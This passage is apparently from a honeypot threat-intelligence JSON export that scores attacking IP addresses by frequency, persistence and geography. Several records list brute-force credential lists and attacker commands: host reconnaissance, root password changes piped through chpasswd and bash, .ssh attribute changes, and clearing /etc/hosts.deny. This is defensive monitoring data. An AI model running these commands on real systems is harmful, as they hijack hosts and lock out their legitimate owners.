        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:58:01.091000+00:00",
        "last_seen_30d": "2026-05-07T00:59:15.043000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.103": {
      "attack_count": 2,
      "first_seen": "2026-05-25T00:57:19.932Z",
      "last_seen": "2026-05-25T00:57:29.748Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T22:45:45+00:00",
        "last_seen_30d": "2026-05-31T03:41:31.975000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 13,
        "Cowrie": 2,
        "Dionaea": 1,
        "Wordpot": 1
      }
    },
    "216.10.217.109": {
      "attack_count": 2,
      "first_seen": "2026-05-11T06:52:51.975Z",
      "last_seen": "2026-05-11T06:53:05.249Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Kingston",
      "asn": 30689,
      "as_org": "FLOW",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:52:51.975000+00:00",
        "last_seen_30d": "2026-05-11T06:54:06.911000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.134.4.78": {
      "attack_count": 2,
      "first_seen": "2026-05-24T00:56:39.067Z",
      "last_seen": "2026-05-24T00:56:51.229Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:56:39.067000+00:00",
        "last_seen_30d": "2026-05-24T00:57:52.750000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.221.142.32": {
      "attack_count": 2,
      "first_seen": "2026-05-07T16:48:49.722Z",
      "last_seen": "2026-05-07T16:49:03.041Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:48:49.722000+00:00",
        "last_seen_30d": "2026-05-07T16:50:04.592000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.151.251.158": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:14:44.423Z",
      "last_seen": "2026-05-22T19:14:57.029Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:14:44.423000+00:00",
        "last_seen_30d": "2026-05-22T19:16:04.295000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.228.243.92": {
      "attack_count": 2,
      "first_seen": "2026-05-08T14:55:52.956Z",
      "last_seen": "2026-05-08T14:56:06.781Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": "Sfax",
      "asn": 37693,
      "as_org": "TUNISIANA",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:55:52.956000+00:00",
        "last_seen_30d": "2026-05-08T14:57:12.923000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.60.234.166": {
      "attack_count": 2,
      "first_seen": "2026-05-18T21:49:24.305Z",
      "last_seen": "2026-05-18T21:49:37.180Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:49:24.305000+00:00",
        "last_seen_30d": "2026-05-18T21:50:44.679000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.91.16.59": {
      "attack_count": 2,
      "first_seen": "2026-05-08T11:25:41.442Z",
      "last_seen": "2026-05-08T11:26:12.126Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:25:41.442000+00:00",
        "last_seen_30d": "2026-05-08T11:27:15.346000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "60.184.209.27": {
      "attack_count": 2,
      "first_seen": "2026-05-07T04:20:28.161Z",
      "last_seen": "2026-05-07T04:20:40.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T04:20:28.161000+00:00",
        "last_seen_30d": "2026-05-07T04:21:40.949000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.185.185.199": {
      "attack_count": 2,
      "first_seen": "2026-05-20T18:48:07.777Z",
      "last_seen": "2026-05-20T18:48:42.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:48:07.777000+00:00",
        "last_seen_30d": "2026-05-20T18:49:45.122000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "74.12.41.15": {
      "attack_count": 2,
      "first_seen": "2026-05-05T21:44:16.666Z",
      "last_seen": "2026-05-05T21:44:29.933Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Windsor",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:44:16.666000+00:00",
        "last_seen_30d": "2026-05-05T21:45:33.187000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.244.62.15": {
      "attack_count": 2,
      "first_seen": "2026-05-12T09:58:55.283Z",
      "last_seen": "2026-05-12T09:59:07.520Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Ramallah",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T09:58:55.283000+00:00",
        "last_seen_30d": "2026-05-12T10:00:12.503000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.218.120.171": {
      "attack_count": 875,
      "first_seen": "2026-05-17T14:13:33.746Z",
      "last_seen": "2026-05-17T16:04:59.648Z",
      "sessions": 174,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "steam",
        "elasticsearch",
        "esuser",
        "ftp",
        "git",
        "guest",
        "minecraft",
        "mysql",
        "opc",
        "postgres",
        "rdpuser",
        "server",
        "test",
        "ubuntu",
        "user1",
        "wang",
        "admin2",
        "administrator"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "1234",
        "12345678",
        "Aa123456",
        "password",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!qaz@WSX",
        "0",
        "123321",
        "12345",
        "123qwe!@",
        "1Q2W3E4R",
        "1q2w3e4r",
        "1qaz!QAZ",
        "1qaz@WSX3edc",
        "1qaz@wsx",
        "Aa123456."
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T14:13:33.746000+00:00",
        "last_seen_30d": "2026-05-17T16:06:03.393000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 875,
        "Suricata": 386
      }
    },
    "27.110.166.67": {
      "attack_count": 530,
      "first_seen": "2026-05-07T00:51:02.976Z",
      "last_seen": "2026-05-27T02:28:24.661Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "hqadmin",
        "oracle",
        "sonarqube",
        "user",
        "admin",
        "amssys",
        "cctv",
        "darryl",
        "debian",
        "depot",
        "devel",
        "devops",
        "dima",
        "hmsftp",
        "kafka",
        "myuser",
        "newuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111",
        "11111111",
        "123!@#qweQWE",
        "123123123",
        "123456",
        "12345678",
        "123456789",
        "123@qweasd",
        "123asdQWE",
        "4444",
        "90-=op[]",
        "Asd@1234",
        "Az123456",
        "MdnFtp_R2",
        "P@ssw0rd2024",
        "P@ssword1",
        "Pa$$w0rd",
        "Pa$$word"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456789\\n9RT1yYKvzZRt\\n9RT1yYKvzZRt\\n\"|passwd",
        "echo \"hqadmin\\nIcnioKFUPw9I\\nIcnioKFUPw9I\\n\"|passwd",
        "echo \"root:M2dyMKH1h3IB\"|chpasswd|bash",
        "echo \"sonarqube\\nahYKoI4gbX7x\\nahYKoI4gbX7x\\n\"|passwd",
        "echo -e \"123456789\\n9RT1yYKvzZRt\\n9RT1yYKvzZRt\"|passwd|bash",
        "echo -e \"hqadmin\\nIcnioKFUPw9I\\nIcnioKFUPw9I\"|passwd|bash",
        "echo -e \"sonarqube\\nahYKoI4gbX7x\\nahYKoI4gbX7x\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Iloilo City",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 667,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:51:02.976000+00:00",
        "last_seen_30d": "2026-05-27T02:29:31.653000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 530,
        "Suricata": 137
      }
    },
    "103.125.103.201": {
      "attack_count": 456,
      "first_seen": "2026-05-22T00:13:52.941Z",
      "last_seen": "2026-05-30T10:36:25.735Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oracle",
        "proxyuser",
        "admin",
        "bence",
        "esuser",
        "habib",
        "student",
        "vhserver",
        "vpn",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!QAZxsw2#EDC",
        "1234",
        "12345",
        "123698745",
        "1qazxsw23edc",
        "7777777",
        "Aa@12345",
        "Linux123",
        "Ls@123456",
        "P@ssw0rd@123",
        "Passw0rd@123",
        "Zk123456",
        "adminadmin",
        "adminadminadmin",
        "bence",
        "changeme",
        "esuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nwFfAfEHRaDui\\nwFfAfEHRaDui\\n\"|passwd",
        "echo \"root:1txp2DHXeCS7\"|chpasswd|bash",
        "echo \"root:8unCTYmIhEEZ\"|chpasswd|bash",
        "echo \"root:QNrw3tbocSmJ\"|chpasswd|bash",
        "echo \"root:S5AEONUkfLoV\"|chpasswd|bash",
        "echo -e \"123\\nwFfAfEHRaDui\\nwFfAfEHRaDui\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 38513,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 45.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.3,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 533,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:13:52.941000+00:00",
        "last_seen_30d": "2026-05-30T10:37:26.099000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 77
      }
    },
    "174.138.17.200": {
      "attack_count": 407,
      "first_seen": "2026-05-06T23:24:29.690Z",
      "last_seen": "2026-05-07T07:43:38.939Z",
      "sessions": 204,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 682,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:24:29.690000+00:00",
        "last_seen_30d": "2026-05-07T07:44:39.638000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 407,
        "Suricata": 275
      }
    },
    "116.99.173.116": {
      "attack_count": 402,
      "first_seen": "2026-05-24T21:19:18.123Z",
      "last_seen": "2026-05-24T21:54:59.828Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "support",
        "user",
        "1234",
        "admian",
        "auto",
        "belkinstyle",
        "bin",
        "cf1c22",
        "config",
        "ftp",
        "ftpuser",
        "guest",
        "guest1",
        "helpdesk",
        "installer",
        "joggler",
        "joro"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine",
        "andrew"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 570,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:19:18.123000+00:00",
        "last_seen_30d": "2026-05-24T21:56:06.791000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 402,
        "Suricata": 168
      }
    },
    "27.79.40.240": {
      "attack_count": 392,
      "first_seen": "2026-05-15T13:08:09.817Z",
      "last_seen": "2026-05-15T13:31:56.465Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "developer",
        "ftp",
        "support",
        "user",
        "ace",
        "anton",
        "carol",
        "cf1c22",
        "cisco",
        "config",
        "db2inst2",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "joggler",
        "kelly"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "admin",
        "admin123",
        "1111",
        "111111",
        "12345678",
        "123456789",
        "1234567890%*()",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "ace",
        "admin01",
        "admin1",
        "admin@123",
        "aerohive",
        "anton"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 558,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T13:08:09.817000+00:00",
        "last_seen_30d": "2026-05-15T13:32:59.626000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 392,
        "Suricata": 166
      }
    },
    "113.221.42.32": {
      "attack_count": 358,
      "first_seen": "2026-05-19T20:36:33.696Z",
      "last_seen": "2026-05-20T16:11:57.422Z",
      "sessions": 179,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 543,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:36:33.696000+00:00",
        "last_seen_30d": "2026-05-20T16:13:04.006000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 358,
        "Suricata": 185
      }
    },
    "39.123.249.114": {
      "attack_count": 357,
      "first_seen": "2026-05-11T22:43:12.103Z",
      "last_seen": "2026-05-11T23:17:22.787Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "minecraft",
        "john",
        "mysql",
        "postgres",
        "aiadmin",
        "dev",
        "mailtest",
        "sftpuser",
        "sysadmin",
        "test",
        "test5",
        "testuser",
        "webserver",
        "webuser"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "111111",
        "12344321",
        "1qazXSW@",
        "Aa123456..",
        "P@ssw0rd",
        "Passw0rd",
        "Test@123",
        "aA@123456789",
        "admin2024",
        "admin@123.",
        "adminserver2024",
        "aiadmin",
        "asdfghjkl",
        "default",
        "feliks",
        "postgres123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"111111\\ncYflJVEjpRor\\ncYflJVEjpRor\\n\"|passwd",
        "echo \"Passw0rd\\nCURJrNR8a4hx\\nCURJrNR8a4hx\\n\"|passwd",
        "echo \"test123\\n9OCaN2j34eLm\\n9OCaN2j34eLm\\n\"|passwd",
        "echo -e \"111111\\ncYflJVEjpRor\\ncYflJVEjpRor\"|passwd|bash",
        "echo -e \"Passw0rd\\nCURJrNR8a4hx\\nCURJrNR8a4hx\"|passwd|bash",
        "echo -e \"test123\\n9OCaN2j34eLm\\n9OCaN2j34eLm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 435,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T22:43:12.103000+00:00",
        "last_seen_30d": "2026-05-11T23:18:32.715000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
